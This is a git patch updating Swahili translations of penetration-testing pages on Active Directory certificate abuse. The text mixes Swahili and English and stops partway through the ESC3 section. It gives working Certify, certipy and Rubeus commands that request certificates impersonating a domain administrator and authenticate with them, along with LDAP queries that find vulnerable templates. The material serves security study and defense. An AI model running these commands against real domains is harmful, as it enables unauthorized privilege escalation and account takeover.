From 6e56939ffc424fb9781348891de90bf560311187 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 22:33:04 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/active-directory-methodology/ad-c --- .../ad-certificates/README.md | 138 +++-- .../ad-certificates/domain-escalation.md | 571 +++++++++--------- 2 files changed, 372 insertions(+), 337 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md index d37a8d118..c9834ecbd 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/README.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/README.md @@ -1,112 +1,122 @@ -# AD Certificates +# AD Vyeti {{#include ../../../banners/hacktricks-training.md}} -## Introduction +## Utangulizi -### Components of a Certificate +### Vipengele vya Cheti -- **Mada** ya cheti inaonyesha mmiliki wake. -- **Funguo za Umma** zimeunganishwa na funguo za kibinafsi ili kuunganisha cheti na mmiliki wake halali. -- **Muda wa Uhalali**, ulioainishwa na tarehe za **NotBefore** na **NotAfter**, unaashiria muda wa ufanisi wa cheti. -- Nambari ya **Serial** ya kipekee, inayotolewa na Mamlaka ya Cheti (CA), inatambulisha kila cheti. -- **Mtoaji** anarejelea CA ambayo imetoa cheti. -- **SubjectAlternativeName** inaruhusu majina ya ziada kwa mada, ikiongeza kubadilika kwa utambuzi. -- **Misingi ya Msingi** inatambua ikiwa cheti ni kwa CA au entiti ya mwisho na kuainisha vizuizi vya matumizi. -- **Matumizi ya Funguo Yaliyoongezwa (EKUs)** yanaelezea madhumuni maalum ya cheti, kama vile kusaini msimbo au usimbaji wa barua pepe, kupitia Vitambulisho vya Kitu (OIDs). -- **Algorithimu ya Sahihi** inaelezea njia ya kusaini cheti. -- **Sahihi**, iliyoundwa kwa funguo ya kibinafsi ya mtoaji, inahakikisha uhalali wa cheti. +- **Subject** ya cheti inaonyesha mmiliki wake. +- **Public Key** imeambatanishwa na ufunguo wa kibinafsi ili kuunganisha cheti na mmiliki wake halali. +- **Validity Period**, inayofafanuliwa na tarehe za **NotBefore** na **NotAfter**, inaonyesha muda wa uhalali wa cheti. +- **Serial Number** ya kipekee, inayotolewa na Certificate Authority (CA), inatambulisha kila cheti. +- **Issuer** inarejea CA iliyotolewa cheti. +- **SubjectAlternativeName** inaruhusu majina ya ziada kwa subject, ikiongeza ufanisi wa utambuzi. +- **Basic Constraints** zinaonyesha kama cheti ni kwa ajili ya CA au kwa entiti ya mwisho na zinafafanua vizuizi vya matumizi. +- **Extended Key Usages (EKUs)** zinaainisha madhumuni maalum ya cheti, kama kusaini code au kushughulikia encryption ya barua pepe, kupitia Object Identifiers (OIDs). +- **Signature Algorithm** inaelezea njia ya kusaini cheti. +- **Signature**, inayotengenezwa kwa ufunguo wa kibinafsi wa issuer, inahakikisha uhalali wa cheti. -### Special Considerations +### Mambo Maalum ya Kuzingatia -- **Majina Alternatif ya Mada (SANs)** yanapanua matumizi ya cheti kwa vitambulisho vingi, muhimu kwa seva zenye maeneo mengi. Mchakato wa usalama wa utoaji ni muhimu ili kuepuka hatari za kujifanya kwa washambuliaji wanaoshughulikia spesifikas za SAN. +- **Subject Alternative Names (SANs)** huongeza matumizi ya cheti kwa vitambulisho vingi, jambo muhimu kwa seva zenye domains nyingi. Mchakato salama wa utoaji ni muhimu ili kuepuka hatari ya kuigwa au utapeli kwa wapinzani wanaoweza kubadilisha vipimo vya SAN. -### Certificate Authorities (CAs) in Active Directory (AD) +### Certificate Authorities (CAs) katika Active Directory (AD) -AD CS inatambua cheti za CA katika msitu wa AD kupitia vyombo vilivyotengwa, kila kimoja kikihudumu majukumu ya kipekee: +AD CS inatambua vyeti vya CA katika AD forest kupitia containers zilizotengwa, kila moja ikiwa na jukumu maalum: -- **Mamlaka za Cheti** chombo kinashikilia cheti za CA za msingi zinazotambulika. -- **Huduma za Usajili** chombo kinaelezea CA za Biashara na templeti zao za cheti. -- **NTAuthCertificates** kitu kinajumuisha cheti za CA zilizoidhinishwa kwa uthibitishaji wa AD. -- **AIA (Upatikanaji wa Taarifa za Mamlaka)** chombo kinasaidia uthibitishaji wa mnyororo wa cheti na cheti za CA za kati na za msalaba. +- **Certification Authorities** container inashikilia vyeti vya root CA vinavyoaminika. +- **Enrolment Services** container inaeleza Enterprise CAs na template zao za cheti. +- **NTAuthCertificates** object inajumuisha vyeti vya CA vinavyoruhusiwa kwa uthibitisho wa AD. +- **AIA (Authority Information Access)** container inasaidia uthibitisho wa mnyororo wa vyeti kwa vyeti vya intermediate na cross CA. -### Certificate Acquisition: Client Certificate Request Flow +### Upataji wa Cheti: Mtiririko wa Ombi la Cheti la Mteja -1. Mchakato wa ombi huanza na wateja wakitafuta CA ya Biashara. -2. CSR inaundwa, ikiwa na funguo ya umma na maelezo mengine, baada ya kuunda jozi ya funguo ya umma na ya kibinafsi. -3. CA inakagua CSR dhidi ya templeti za cheti zilizopo, ikitoa cheti kulingana na ruhusa za templeti. -4. Baada ya idhini, CA inasaini cheti kwa funguo yake ya kibinafsi na kuirudisha kwa mteja. +1. Mchakato wa ombi unaanza kwa wateja kupata Enterprise CA. +2. CSR inaundwa, ikiwa na public key na maelezo mengine, baada ya kuunda jozi ya ufunguo wa umma/wa kibinafsi. +3. CA inapima CSR dhidi ya template za cheti zilizo wazi, na kutoa cheti kulingana na ruhusa za template. +4. Baada ya kuidhinishwa, CA inasaini cheti kwa ufunguo wake wa kibinafsi na kurirudisha kwa mteja. -### Certificate Templates +### Violezo vya Cheti -Zimeainishwa ndani ya AD, templeti hizi zinaelezea mipangilio na ruhusa za kutoa cheti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za usajili au mabadiliko, muhimu kwa usimamizi wa ufikiaji wa huduma za cheti. +Violezo hivi vinavyowekwa ndani ya AD vinaeleza mipangilio na ruhusa za kutoa vyeti, ikiwa ni pamoja na EKUs zinazoruhusiwa na haki za kujiandikisha au kuhariri, muhimu kwa kusimamia ufikiaji kwa huduma za vyeti. -## Certificate Enrollment +## Usajili wa Cheti -Mchakato wa usajili wa cheti huanzishwa na msimamizi ambaye **anaunda templeti ya cheti**, ambayo kisha **inasambazwa** na Mamlaka ya Cheti ya Biashara (CA). Hii inafanya templeti ipatikane kwa usajili wa mteja, hatua inayofikiwa kwa kuongeza jina la templeti kwenye uwanja wa `certificatetemplates` wa kitu cha Active Directory. +Mchakato wa usajili wa vyeti unaanzishwa na msimamizi anayehubiri **kuunda template ya cheti**, ambayo kisha **inachapishwa** na Enterprise Certificate Authority (CA). Hii inafanya template kupatikana kwa ajili ya usajili wa mteja, hatua ambayo hufikiwa kwa kuongeza jina la template kwenye shamba la `certificatetemplates` la kitu katika Active Directory. -Ili mteja aombe cheti, **haki za usajili** lazima zipewe. Haki hizi zinaainishwa na waelekezi wa usalama kwenye templeti ya cheti na CA ya Biashara yenyewe. Ruhusa lazima zipewe katika maeneo yote mawili ili ombi liwe na mafanikio. +Ili mteja aombe cheti, lazima apewe **haki za usajili**. Haki hizi zinafafanuliwa na security descriptors kwenye template ya cheti na kwenye Enterprise CA yenyewe. Ruhusa lazima zitatekelezwa katika maeneo yote mawili ili ombi lifanikiwe. -### Template Enrollment Rights +### Haki za Usajili za Template -Haki hizi zinaainishwa kupitia Kuingilia kwa Udhibiti wa Ufikiaji (ACEs), zikielezea ruhusa kama: +Haki hizi zinaainishwa kupitia Access Control Entries (ACEs), zikieleza ruhusa kama: -- Haki za **Usajili wa Cheti** na **AutoEnrollment ya Cheti**, kila moja ikihusishwa na GUID maalum. -- **Haki za Kupanuliwa**, zikiruhusu ruhusa zote za ziada. -- **FullControl/GenericAll**, ikitoa udhibiti kamili juu ya templeti. +- Haki za **Certificate-Enrollment** na **Certificate-AutoEnrollment**, kila moja ikiwa na GUID maalum. +- **ExtendedRights**, kuruhusu ruhusa zote zilizopanuliwa. +- **FullControl/GenericAll**, kutoa udhibiti kamili juu ya template. -### Enterprise CA Enrollment Rights +### Haki za Usajili za Enterprise CA -Haki za CA zinaelezwa katika waelekezi wake wa usalama, zinazopatikana kupitia console ya usimamizi wa Mamlaka ya Cheti. Mipangilio mingine hata inaruhusu watumiaji wenye mamlaka ya chini kupata mbali, ambayo inaweza kuwa wasiwasi wa usalama. +Haki za CA zimetajwa katika security descriptor yake, inayopatikana kupitia consola ya Certificate Authority. Mipangilio fulani hata inaweza kuruhusu watumiaji wenye hadhi ndogo kufikia mbali, jambo ambalo linaweza kuwa hatari kwa usalama. -### Additional Issuance Controls +### Udhibiti wa Ziada wa Utoaji -Madhara fulani yanaweza kutumika, kama: +Udhibiti fulani unaweza kutumika, kama vile: -- **Idhini ya Meneja**: Inaweka maombi katika hali ya kusubiri hadi idhini itolewe na meneja wa cheti. -- **Wakala wa Usajili na Sahihi Zilizothibitishwa**: Kuainisha idadi ya sahihi zinazohitajika kwenye CSR na OIDs za Sera ya Maombi zinazohitajika. +- **Manager Approval**: Inuweka maombi katika hali ya kusubiri hadi idhini itolewe na meneja wa vyeti. +- **Enrolment Agents and Authorized Signatures**: Huweka idadi ya saini zinazohitajika kwenye CSR na Application Policy OIDs zinazohitajika. -### Methods to Request Certificates +### Njia za Kuomba Vyeti -Cheti zinaweza kuombwa kupitia: +Vyeti vinaweza kuombwa kupitia: -1. **Protokali ya Usajili wa Cheti ya Mteja wa Windows** (MS-WCCE), ikitumia interfaces za DCOM. -2. **Protokali ya ICertPassage Remote** (MS-ICPR), kupitia mabomba yaliyopewa majina au TCP/IP. -3. Kiolesura cha wavuti cha **usajili wa cheti**, na jukumu la Utoaji wa Wavuti wa Mamlaka ya Cheti lililosakinishwa. -4. **Huduma ya Usajili wa Cheti** (CES), kwa kushirikiana na huduma ya Sera ya Usajili wa Cheti (CEP). -5. **Huduma ya Usajili wa Vifaa vya Mtandao** (NDES) kwa vifaa vya mtandao, ikitumia Protokali ya Usajili wa Cheti Rahisi (SCEP). +1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), kwa kutumia interfaces za DCOM. +2. **ICertPassage Remote Protocol** (MS-ICPR), kupitia named pipes au TCP/IP. +3. kiolesura cha wavuti cha **certificate enrollment**, ikiwa role ya Certificate Authority Web Enrollment imewekwa. +4. **Certificate Enrollment Service** (CES), pamoja na Certificate Enrollment Policy (CEP) service. +5. **Network Device Enrollment Service** (NDES) kwa vifaa vya mtandao, kwa kutumia Simple Certificate Enrollment Protocol (SCEP). -Watumiaji wa Windows wanaweza pia kuomba cheti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mistari ya amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`). +Watumiaji wa Windows pia wanaweza kuomba vyeti kupitia GUI (`certmgr.msc` au `certlm.msc`) au zana za mstari wa amri (`certreq.exe` au amri ya PowerShell `Get-Certificate`). ```bash # Example of requesting a certificate using PowerShell Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My" ``` -## Uthibitisho wa Cheti +## Uthibitishaji wa Cheti -Active Directory (AD) inasaidia uthibitisho wa cheti, hasa ikitumia **Kerberos** na **Secure Channel (Schannel)** protokali. +Active Directory (AD) inaunga mkono uthibitishaji wa vyeti, hasa ikitumia protokoli za **Kerberos** na **Secure Channel (Schannel)**. -### Mchakato wa Uthibitisho wa Kerberos +### Mchakato wa Uthibitishaji wa Kerberos -Katika mchakato wa uthibitisho wa Kerberos, ombi la mtumiaji la Tiketi ya Kutoa Tiketi (TGT) linatiwa saini kwa kutumia **funguo ya faragha** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na msimamizi wa eneo, ikiwa ni pamoja na **halali** ya cheti, **njia**, na **hali ya kufutwa**. Uthibitisho pia unajumuisha kuangalia kwamba cheti kinatoka kwa chanzo kinachotegemewa na kuthibitisha uwepo wa mtoaji katika **hifadhi ya cheti ya NTAUTH**. Uthibitisho uliofanikiwa unapelekea utoaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana kwenye: +Katika mchakato wa uthibitishaji wa Kerberos, ombi la mtumiaji la Ticket Granting Ticket (TGT) linasainiwa kwa kutumia **private key** ya cheti cha mtumiaji. Ombi hili hupitia uthibitisho kadhaa na domain controller, ikijumuisha **validity**, **path**, na **revocation status** ya cheti. Uthibitisho pia unajumuisha kuthibitisha kwamba cheti kinatokana na chanzo kinachotegemewa na kuthibitisha uwepo wa muuzaji katika **NTAUTH certificate store**. Uthibitisho uliopitishwa husababisha utolewaji wa TGT. Kitu cha **`NTAuthCertificates`** katika AD, kinapatikana katika: ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` -ni muhimu katika kuanzisha uaminifu kwa uthibitishaji wa cheti. +ni muhimu katika kuanzisha uaminifu kwa uthibitishaji wa vyeti. -### Uthibitishaji wa Kanal Salama (Schannel) +### Secure Channel (Schannel) Authentication -Schannel inarahisisha muunganisho salama wa TLS/SSL, ambapo wakati wa mkutano, mteja anawasilisha cheti ambacho, ikiwa kimefanikiwa kuthibitishwa, kinatoa ruhusa ya ufikiaji. Mchoro wa cheti kwa akaunti ya AD unaweza kujumuisha kazi ya Kerberos **S4U2Self** au **Jina Alternatif la Mhusika (SAN)** la cheti, kati ya mbinu nyingine. +Schannel inawezesha miunganisho salama ya TLS/SSL, ambapo wakati wa handshake, mteja huwasilisha cheti ambacho, ikiwa kimeidhinishwa kwa mafanikio, hutoa idhini ya upatikanaji. Kuambatanisha cheti kwa akaunti ya AD kunaweza kuhusisha Kerberos’s **S4U2Self** function au cheti’s **Subject Alternative Name (SAN)**, miongoni mwa mbinu nyingine. -### Uhesabu wa Huduma za Cheti za AD +### AD Certificate Services Enumeration -Huduma za cheti za AD zinaweza kuhesabiwa kupitia maswali ya LDAP, zikifunua habari kuhusu **Mamlaka za Cheti za Biashara (CAs)** na mipangilio yao. Hii inapatikana kwa mtumiaji yeyote aliyeidhinishwa na kikoa bila ruhusa maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumika kwa uhesabu na tathmini ya udhaifu katika mazingira ya AD CS. +AD's certificate services zinaweza kuorodheshwa kupitia maswali ya LDAP, zikifichua taarifa kuhusu **Enterprise Certificate Authorities (CAs)** na usanidi wao. Hii inapatikana kwa mtumiaji yeyote aliye domain-authenticated bila vibali maalum. Zana kama **[Certify](https://github.com/GhostPack/Certify)** na **[Certipy](https://github.com/ly4k/Certipy)** zinatumiwa kwa ajili ya kuorodhesha na tathmini ya udhaifu katika mazingira ya AD CS. Amri za kutumia zana hizi ni pamoja na: ```bash -# Enumerate trusted root CA certificates and Enterprise CAs with Certify -Certify.exe cas -# Identify vulnerable certificate templates with Certify -Certify.exe find /vulnerable +# Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints +# Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks +Certify.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] + +# Identify vulnerable certificate templates and filter for common abuse cases +Certify.exe find +Certify.exe find /vulnerable [/currentuser] +Certify.exe find /enrolleeSuppliesSubject # ESC1 candidates (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT) +Certify.exe find /clientauth # templates with client-auth EKU +Certify.exe find /showAllPermissions # include template ACLs in output +Certify.exe find /json /outfile:C:\Temp\adcs.json + +# Enumerate PKI object ACLs (Enterprise PKI container, templates, OIDs) – useful for ESC4/ESC7 discovery +Certify.exe pkiobjects [/domain:domain.local] [/showAdmins] # Use Certipy for enumeration and identifying vulnerable templates certipy find -vulnerable -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 @@ -119,5 +129,7 @@ certutil -v -dstemplate - [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) - [https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html](https://comodosslstore.com/blog/what-is-ssl-tls-client-authentication-how-does-it-work.html) +- [GhostPack/Certify](https://github.com/GhostPack/Certify) +- [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index f8e9bbf94..93ff6047b 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Hii ni muhtasari wa sehemu za mbinu za kupandisha hadhi za machapisho:** +**Huu ni muhtasari wa sehemu za mbinu za kuongezeka zilizomo katika machapisho:** - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf) - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) @@ -11,46 +11,57 @@ ## Misconfigured Certificate Templates - ESC1 -### Maelezo +### Explanation -### Misconfigured Certificate Templates - ESC1 Explained +### Misconfigured Certificate Templates - ESC1 Imeelezwa -- **Haki za kujiandikisha zinatolewa kwa watumiaji wenye mamlaka ya chini na Enterprise CA.** -- **Idhini ya meneja haitahitajika.** -- **Saini kutoka kwa wafanyakazi walioidhinishwa hazihitajiki.** -- **Maelezo ya usalama kwenye templeti za cheti ni ya kupita kiasi, yanaruhusu watumiaji wenye mamlaka ya chini kupata haki za kujiandikisha.** -- **Templeti za cheti zimewekwa ili kufafanua EKUs zinazosaidia uthibitishaji:** -- Vitambulisho vya Matumizi ya Funguo Panzi (EKU) kama vile Uthibitishaji wa Mteja (OID 1.3.6.1.5.5.7.3.2), Uthibitishaji wa Mteja wa PKINIT (1.3.6.1.5.2.3.4), Kuingia kwa Kadi ya Smart (OID 1.3.6.1.4.1.311.20.2.2), Malengo Yoyote (OID 2.5.29.37.0), au hakuna EKU (SubCA) vinajumuishwa. -- **Uwezo wa waombaji kujumuisha subjectAltName katika Ombi la Kusaini Cheti (CSR) unaruhusiwa na templeti:** -- Active Directory (AD) inapa kipaumbele subjectAltName (SAN) katika cheti kwa uthibitisho wa utambulisho ikiwa ipo. Hii inamaanisha kwamba kwa kubainisha SAN katika CSR, cheti kinaweza kuombwa kuiga mtumiaji yeyote (kwa mfano, msimamizi wa eneo). Ikiwa SAN inaweza kubainishwa na waombaji inaonyeshwa katika kitu cha AD cha templeti ya cheti kupitia mali ya `mspki-certificate-name-flag`. Mali hii ni bitmask, na uwepo wa bendera ya `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` unaruhusu ubainishaji wa SAN na waombaji. +- **Haki za usajili zinatolewa kwa watumiaji wenye ruhusa ndogo na Enterprise CA.** +- **Idhini ya meneja haitegemewi.** +- **Hakuna saini kutoka kwa watendaji walioidhinishwa zinazohitajika.** +- **Maelezo ya usalama kwenye template za cheti ni yanayoruhusu kupita kiasi, kuruhusu watumiaji wenye ruhusa ndogo kupata haki za usajili.** +- **Template za cheti zimeundwa ili kubainisha EKU zinazorahisisha uthibitisho:** +- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included. +- **Uwezo wa waombaji kujumuisha subjectAltName katika Certificate Signing Request (CSR) unaruhusiwa na template:** +- Active Directory (AD) inatilia umuhimu subjectAltName (SAN) iliyomo kwenye cheti kwa ajili ya uthibitisho wa utambulisho ikiwa ipo. Hii ina maana kwamba kwa kubainisha SAN katika CSR, cheti kinaweza kuombwa ili kujifanya mtumiaji yeyote (kwa mfano, domain administrator). Iwapo SAN inaweza kubainishwa na muombaji inaonyeshwa katika kitu cha template cha cheti katika AD kupitia mali `mspki-certificate-name-flag`. Mali hii ni bitmask, na uwepo wa flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` unaruhusu muombaji kubainisha SAN. > [!CAUTION] -> Mipangilio iliyoelezwa inaruhusu watumiaji wenye mamlaka ya chini kuomba vyeti vyovyote vya SAN wanavyotaka, na kuwezesha uthibitishaji kama kiongozi yeyote wa eneo kupitia Kerberos au SChannel. +> Muundo uliotajwa unaruhusu watumiaji wenye ruhusa ndogo kuomba vyeti na SAN yoyote walayopendelea, hivyo kuwezesha authentication kama domain principal yeyote kupitia Kerberos au SChannel. -Kipengele hiki wakati mwingine kinawashwa ili kusaidia uzalishaji wa cheti za HTTPS au mwenyeji kwa bidhaa au huduma za kutekeleza, au kutokana na ukosefu wa uelewa. +Kipengele hiki wakati mwingine huwezeshwa ili kusaidia uzalishaji wa haraka wa vyeti vya HTTPS au vya mwenyeji na bidhaa au huduma za deployment, au kutokana na kukosekana kwa uelewa. -Inabainishwa kwamba kuunda cheti na chaguo hili kunasababisha onyo, ambayo si hali wakati templeti ya cheti iliyopo (kama vile templeti ya `WebServer`, ambayo ina `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` iliyoanzishwa) inakopiwa na kisha kubadilishwa ili kujumuisha OID ya uthibitishaji. +Inabainika kwamba kuunda cheti kwa chaguo hili kunatoa onyo, jambo ambalo halitokei wakati template ya cheti iliyopo (kama template ya `WebServer`, ambayo ina `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` imewezeshwa) inakapopiwa nakala (duplicated) na kisha kubadilishwa ili kujumuisha authentication OID. -### Unyanyasaji +### Matumizi mabaya -Ili **kupata templeti za cheti zenye udhaifu** unaweza kukimbia: +Ili **kutafuta template za cheti zilizo hatarini** unaweza kutekeleza: ```bash Certify.exe find /vulnerable certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 ``` -Ili **kutumia udhaifu huu kujifanya kuwa msimamizi** mtu anaweza kukimbia: +Ili **kutumia vibaya udhaifu huu kuiga msimamizi**, mtu angeweza kuendesha: ```bash -Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin -certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' +# Impersonate by setting SAN to a target principal (UPN or sAMAccountName) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local + +# Optionally pin the target's SID into the request (post-2022 SID mapping aware) +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator /sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Some CAs accept an otherName/URL SAN attribute carrying the SID value as well +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator \ +/url:tag:microsoft.com,2022-09-14:sid:S-1-5-21-1111111111-2222222222-3333333333-500 + +# Certipy equivalent +certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \ +-template 'ESC1' -upn 'administrator@corp.local' ``` -Kisha unaweza kubadilisha **cheti kilichozalishwa kuwa muundo wa `.pfx`** na kukitumia **kujiandikisha kwa kutumia Rubeus au certipy** tena: +Kisha unaweza kubadilisha **cheti kilichotengenezwa kuwa `.pfx`** kwa muundo na kuitumia tena ili **kujitambulisha kwa kutumia Rubeus au certipy**: ```bash Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -Binaries za Windows "Certreq.exe" & "Certutil.exe" zinaweza kutumika kuunda PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee +Binary za Windows "Certreq.exe" & "Certutil.exe" zinaweza kutumika kuunda PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee -Uhesabu wa templeti za cheti ndani ya schema ya usanidi wa AD Forest, hasa zile zisizohitaji idhini au saini, zikiwa na Client Authentication au Smart Card Logon EKU, na zikiwa na bendera `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` iliyoanzishwa, zinaweza kufanywa kwa kuendesha uchunguzi ufuatao wa LDAP: +Kuorodhesha template za cheti ndani ya configuration schema ya AD Forest, hasa zile ambazo hazihitaji idhini au saini, zenye Client Authentication au Smart Card Logon EKU, na zenye flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` imewezeshwa, inaweza kufanywa kwa kukimbiza query ifuatayo ya LDAP: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1)) ``` @@ -58,53 +69,53 @@ Uhesabu wa templeti za cheti ndani ya schema ya usanidi wa AD Forest, hasa zile ### Explanation -Hali ya pili ya unyanyasaji ni tofauti ya ya kwanza: +Senario ya pili ya matumizi mabaya ni tofautisho la ile ya kwanza: -1. Haki za kujiandikisha zinatolewa kwa watumiaji wenye mamlaka ya chini na CA ya Enterprise. -2. Hitaji la idhini ya meneja limeondolewa. -3. Hitaji la saini zilizoidhinishwa limeachwa. -4. Maelezo ya usalama yaliyo na ruhusa nyingi kwenye kiolezo cha cheti yanatoa haki za kujiandikisha kwa watumiaji wenye mamlaka ya chini. -5. **Kiolezo cha cheti kimewekwa kujumuisha Any Purpose EKU au hakuna EKU.** +1. Haki za enrollment zinatolewa kwa watumiaji wenye ruhusa ndogo na Enterprise CA. +2. Mahitaji ya idhini ya meneja yamezimitwa. +3. Hitaji la saini zilizoidhinishwa limeachwa nje. +4. Maelezo ya usalama (security descriptor) yenye ruhusa nyingi kwenye template ya cheti inawapa watumiaji wenye ruhusa ndogo haki za ku-enroll vyeti. +5. **Template ya cheti imefafanuliwa kujumuisha the Any Purpose EKU au kutokuwa na EKU.** -**Any Purpose EKU** inaruhusu cheti kupatikana na mshambuliaji kwa **kila kusudi**, ikiwa ni pamoja na uthibitishaji wa mteja, uthibitishaji wa seva, saini ya msimbo, n.k. Mbinu ile ile **iliyotumika kwa ESC3** inaweza kutumika kutekeleza hali hii. +The **Any Purpose EKU** inaruhusu mshambuliaji kupata cheti kwa **madhumuni yoyote**, ikiwa ni pamoja na client authentication, server authentication, code signing, n.k. Mbinu ile ile inayotumika kwa ESC3 inaweza kutumika ku-exploit senario hii. -Vyeti vyenye **hakuna EKUs**, ambavyo vinatenda kama vyeti vya CA vya chini, vinaweza kutumika kwa **kila kusudi** na vinaweza **pia kutumika kusaini vyeti vipya**. Hivyo, mshambuliaji anaweza kubaini EKUs au maeneo yasiyo na mipaka katika vyeti vipya kwa kutumia cheti cha CA cha chini. +Vyeti bila **EKUs**, vinavyofanya kazi kama subordinate CA certificates, vinaweza kutumika kwa **madhumuni yoyote** na pia vinaweza **kutumika kusaini vyeti vipya**. Kwa hivyo, mshambuliaji anaweza kubainisha EKUs au mashamba mengine kwa hiari katika vyeti vipya kwa kutumia subordinate CA certificate. -Hata hivyo, vyeti vipya vilivyoundwa kwa **uthibitishaji wa domain** havitafanya kazi ikiwa CA ya chini haitakubaliwa na **`NTAuthCertificates`** kitu, ambacho ni mipangilio ya default. Hata hivyo, mshambuliaji bado anaweza kuunda **vyeti vipya vyenye EKU yoyote** na thamani za cheti zisizo na mipaka. Hizi zinaweza **kutumika vibaya** kwa anuwai ya malengo (mfano, saini ya msimbo, uthibitishaji wa seva, n.k.) na zinaweza kuwa na athari kubwa kwa programu nyingine katika mtandao kama SAML, AD FS, au IPSec. +Hata hivyo, vyeti vipya vilivyotengenezwa kwa ajili ya **domain authentication** havitafanya kazi ikiwa subordinate CA haitumiki na kitu cha **`NTAuthCertificates`**, ambacho ndilo mpangilio wa chaguo-msingi. Hata hivyo, mshambuliaji bado anaweza kuunda **vyeti vipya vyenye EKU yoyote** na thamani za cheti za kukusudia kwa hiari. Hivi vinaweza kutumiwa vibaya kwa madhumuni mbalimbali (mf., code signing, server authentication, nk.) na vinaweza kuwa na matokeo makubwa kwa programu nyingine katika mtandao kama SAML, AD FS, au IPSec. -Ili kuorodhesha mifano inayolingana na hali hii ndani ya mpangilio wa AD Forest, swali lifuatalo la LDAP linaweza kutekelezwa: +Ili kuorodhesha templates zinazolingana na senario hii ndani ya schema ya usanidi ya AD Forest, query ya LDAP ifuatayo inaweza kuendeshwa: ``` (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))) ``` -## Misconfigured Enrolment Agent Templates - ESC3 +## Templates za Enrolment Agent Zilizopangwa Vibaya - ESC3 ### Maelezo -Hali hii ni kama ya kwanza na ya pili lakini **inatumia** **EKU tofauti** (Wakala wa Ombi la Cheti) na **mifano 2 tofauti** (hivyo ina seti 2 za mahitaji), +Mfano huu ni kama ule wa kwanza na wa pili lakini **kutumia vibaya** **EKU tofauti** (Certificate Request Agent) na **templeti 2 tofauti** (kwa hivyo ina seti 2 za mahitaji), -**Wakala wa Ombi la Cheti EKU** 